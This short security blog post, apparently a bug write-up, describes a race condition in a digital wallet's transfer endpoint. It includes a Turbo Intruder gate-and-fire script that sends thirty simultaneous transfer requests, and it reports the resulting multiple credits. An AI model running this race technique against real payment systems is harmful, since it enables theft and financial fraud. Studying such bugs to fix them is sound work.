[hw] hackerswar v3.0
~ p / race-condition-cookie-jar
search ⌘K
dark

Race Condition in the Cookie Jar

A 4ms window that printed money for two weeks.

The application was a digital wallet. The endpoint was POST /transfer. The bug was that nobody had ever asked what happens if you send the same request twice at the same time.

python turbo-intruder, gate-and-fire
engine = RequestEngine(endpoint=target,
concurrentConnections=30,
requestsPerConnection=1,
engine=Engine.BURP2)
for i in range(30):
engine.queue(req, gate='race1')
engine.openGate('race1')

Twenty-eight of thirty requests succeeded. Each one debited the source account. The destination account was credited thirty times.

blog.hackerswar.com 7 posts indexed
php 8.3.30 rendered 2.9ms